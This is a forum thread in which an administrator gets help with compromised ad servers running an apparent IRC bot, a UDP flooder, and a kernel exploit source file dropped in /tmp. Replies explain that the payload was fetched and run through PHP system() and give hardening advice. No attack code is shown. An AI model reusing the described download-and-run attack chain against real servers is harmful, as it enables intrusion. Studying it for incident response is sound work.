Hi guys, happy valentine's!

Well, i got a problem with some of my ads servers (running just ads).
Recently I realise the following log entries in my /var/log/httpd/error_log, in all 4 servers (they're load balanced)

It goes on and on...
i tried to visit the url but came up to a lycos error saying no such page...

how can i go about to find out what started this page request? wwhat's the best way?
i'm damm lost and fustrated... :S

the following log entries in my /var/log/httpd/error_log (...)
=> sysinit.2 (...) 100%
Looks like an IRC bot.


i got a problem with some of my ads servers (...) how can i go about to find out what started this page request? wwhat's the best way?
Have you checked all running processes and temp dirs for these or any other anomalies?
Other logs? Chkrootkit or Rootkit Hunter (will probably find nothing)?
Checked for running any vulnerable apps on the webserver?

chrootkit hunter? is that a app?

My servers are basically running only httpd, named, mail. nothing else... what to look out for here...?

other than put a REJECT in iptables... which i will be

chrootkit hunter? is that a app?
Search engine, your friend, is.


My servers are basically running only
Is this a guess or did you actually *check* it?


what to look out for here...?
Anything out of the ordinary. Could also be something that should not happen, for processes like running the max amount of children, for files setuid root in temp dirs. Anything in error logs. Any files open in unusual places.

ahh sorry for my answers...

i do mean that i know those are the services that are running, of course there more...

sorry man, cos i'm really still a greenhorn when it comes to this, thus my questions/answers are like this...

thanks for your patience with me too!

sorry man, cos i'm really still a greenhorn when it comes to this, thus my questions/answers are like this.
Don't be sorry, just give us some info to work with please.


thanks for your patience with me too!
No thank *you* for reminding me. I *really* should be more patient...

ok recently i just had a new case...

found that they (whoever they are) put files in /tmp.

There's a few .c (apache modules?) files there, whose uid:gid is apache. one of them is k-rad3.c, which after googling it, is a rather new script but its known.

have some other .pl files (let me know if you want me to post the files up)

What happen was that I had a bandwidth spike, and nobody could access my servers. I went to the server I suspected and lo and behold, the load was hovering around 1+, and it has a script call udp.pl running. I needed service to resume asap, so i issued a kill -9 on it... but alas i found out only later that i should have at least done a 'stat' on it to find when it was created...

anyway, upon killing it, the load went down. my network is normal. My boss ordered me to reinstall the OS etc... but as all the servers in the same farms have the same kind of files found (but strangly it only runs on this server), i'm concern as to...

1) how did it find its way into the server in the first place
2) what is actually running them... automation?

it always left records in the error_log of httpd, thus allowing me to see which ip address it is connecting to to download a file call sysinit (which i believe is running it these events..)

I have in place iptables, blocking in/out traffic to the ip addresses i saw. I have no SELinux in place. essential?

I read abt mod_security. useful?

As I am typing this, I am restoring the affected machine, while leaving the other 3 alone first.. so hopefully i can get some pointers from you guys....

Is your machine currently connected to an IRC server? Do you do IRC yourself?

Do you have gcc installed?

Do you find anything interesting in doing this:
then search for JOIN by doing this:

found that they (whoever they are) put files in /tmp. There's a few .c (apache modules?) files there, whose uid:gid is apache. one of them is k-rad3.c, which after googling it, is a rather new script but its known. have some other .pl files (let me know if you want me to post the files up)
No, k-rad3 is rather old: (Kernel <= 2.6.11) see CVE-2005-0736. If it's not been compiled: good. If you run a kernel upgraded to latest: good. Any accompanying Perl files usually are flooders, backdoors and IRC bots. If you could save me a tarball anyway and email me a temp D/L loc I'd appreciate it.


What happen was that I had a bandwidth spike, and nobody could access my servers.
Nice incentive to go looking but a bit fatal (too late). I hope this leads to more detailed monitoring and using auditing apps.


lo and behold, the load was hovering around 1+, and it has a script call udp.pl running. I needed service to resume asap, so i issued a kill -9 on it... but alas i found out only later that i should have at least done a 'stat' on it to find when it was created... anyway, upon killing it, the load went down. my network is normal. My boss ordered me to reinstall the OS etc... but as all the servers in the same farms have the same kind of files found (but strangly it only runs on this server), i'm concern as to...

1) how did it find its way into the server in the first place
By running any unpatched PHP application most likely.


2) what is actually running them... automation?
A set of URI's instruct to download the stuff, then use PHP system() to run it. That's why it's running as user Apache. Quite convenient because you don't need any higher privileged access to the system.


it always left records in the error_log of httpd, thus allowing me to see which ip address it is connecting to to download a file call sysinit (which i believe is running it these events..)
Search this forum for recent threads about sysinit and you'll also find out more nfo about hardening.


I have in place iptables, blocking in/out traffic to the ip addresses i saw.
...but you don't run egress filtering


I have no SELinux in place. essential?
Probably, but it probably will take some time to configure well. Other option is the GRSecurity kernel patch (incompatible with running LSM).


I read abt mod_security. useful?
Yes, but you'll have to tune your regexes.


As I am typing this, I am restoring the affected machine, while leaving the other 3 alone first.. so hopefully i can get some pointers from you guys..
1. Harden the boxen. Search this forum for recent threads about sysinit and you'll also find out more nfo about hardening. Check out the LQ FAQ: Security references.
2. Regularly audit the boxen.
3. Update software always: there usually aren't any qualitatively good reasons not to. If the argument is about legacy apps or breakage then the focus is dead wrong: use a staging server to test, or try to counter with estimating the cost for downtime and mop-up *after* the boxen where broken.
4. Apply ingress and egress filtering.


@nx5000: Is your machine currently connected to an IRC server? Do you do IRC yourself?
Good questions. Any admin that uses a production box as his/her own playground isn't being professional and should be "re-educated".

Do you have gcc installed?
One of the textbook hardening procedures, restricting access to any compilers. Unfortunately doesn't stop anything if you can introduce and run prefab binaries.

hey guys...

i have installed and ran both chkroothunter, and rkhunter, both give me good results other than 2 vulnerabilities listed by rkhunter

1) SSH v1 Protocol used, Root user allowed login
2) /etc/.java - citing there's a vulnerability in the folder, asked me to check folder

For (1), I have already "DenyUser" in sshd_config... no idea why they still mention that

For (2), I took a look at the folder and there's only a .systemPref

Can anyone advice me?


Also, seems like rkhunter and chkroothunter is not compatible with RHEL4. If so, what you guys recommend for use with RHEL4?

Many thanks!

1) SSH v1 Protocol used,
In /etc/ssh/sshd_config: "Protocol 2" (or 2,1 but ONLY if you have clients that dont understand protocol 2: so usually not).


Root user allowed login
In /etc/ssh/sshd_config: "PermitRootLogin no"


2) /etc/.java - citing there's a vulnerability in the folder
Known false positive: check your rkhunter.conf for details.


For (1), I have already "DenyUser" in sshd_config... no idea why they still mention that
Give *exact* output /error lines please.


Also, seems like rkhunter and chkroothunter is not compatible with RHEL4.
Why not? Give *exact* output /error lines please.


Many thanks!
The last posts in this thread where made Feb 21st. You didn't care to respond to those.
I'd rather see you read those posts and doing something with the advice than just *saying* "thanks".
Those are only words and dont mean a thing.

woah, steady my words of thanks are from the bottom of my heart really! my apologies for any misunderstanding here

I just got back from an oversea attachment, thus i could only reply now as I was in an area with almost no internet connection (Vietnam) and didn't want to access the servers via those cafe

For the above I already have DenyUsers root in my sshd_config but didn't use "PermitRootLogin" option (commented off)
but essentially, both works the same way yah?
After I uncomment it and used a 'No' to it, it was ok.


For the protocol issue, it was commented also. If I don't specify, it will allow both 1 and 2 (like Protocol =2,1) ?

/etc/.java issue
I found the following in the conf file... i should enable it?
RHEL4 Support Question

For chkrootkit, i misinterpreted the faq, thought it was refering to the distro, but its actually kernel version

For laughs... this is what i saw

Ok, really, thanks for the attention

woah, steady (..) I just got back from an oversea attachment
OK, OK...


(..) Vietnam
Add ten points if you did manage to eat Durian...


but essentially, both works the same way yah?
Since there is a specific config directive "PermitRootLogin" I would argue it's *not* the same, but to be clear I'd have to look in the OpenSSH code how it's handled.


If I don't specify, it will allow both 1 and 2 (like Protocol =2,1) ?
"2,1" means prefer v2 and fallback to v1. There's only a few occasions where you would need v1 compatability and if you need it you would definately know. I specify Protocol=2 on all my boxen.


/etc/.java issue I found the following in the conf file... i should enable it?
Yes.


RHEL4 Support Question (..) rkhunter -c --createlogfile (..) Determining OS... Unknown Warning: This operating system is not fully supported!
I posted a script here at LQ-SEC and to the Rkhunter mailinglist to update sigs for releases that aren't supported yet. Check if you can use it, it's here: Announce: Rootkit Hunter: updating hash database (script).


For chkrootkit, i misinterpreted the faq, thought it was refering to the distro, but its actually kernel version
Affirmative. Cuz chkrootkit doesn't do distro/release specific checks like Rkhunter does.


Ok, really, thanks for the attention
NP. In the end that's what we're here for: to help you help yourself, essentially. Now the most important questions are: 0) what's your analysis of the situation (after auditing the box) and 1) what are you going to do? I mean, we've posted a lot of stuff that should help you combat this problem and I sure would appreciate to know.

Durian?I Have that in my country

But I didn't eat durian in Vietnam, lots of beef though

so its ok if i explicitly specify version 2 only?

well.. since the rootkit check softwares didn't show major malicious stuff... i did more search and i found out i can make /tmp non-executable by issuing a noexec in fstab.... though not sure if i did it correctly, but i tested nothing could be executed (those 755 scripts loh)

then also.. when i had the "attacks"

I found some of the files in /var/tmp (by stroke of luck cos I didn't find any irregularities in the logs)

so following some online research, I delete the folder and create a new one in place of it, which softlinks to /tmp

basically....

/var/tmp -> /tmp

so far.... still ok... but i am sure i can do better things with it... just that i haven't find out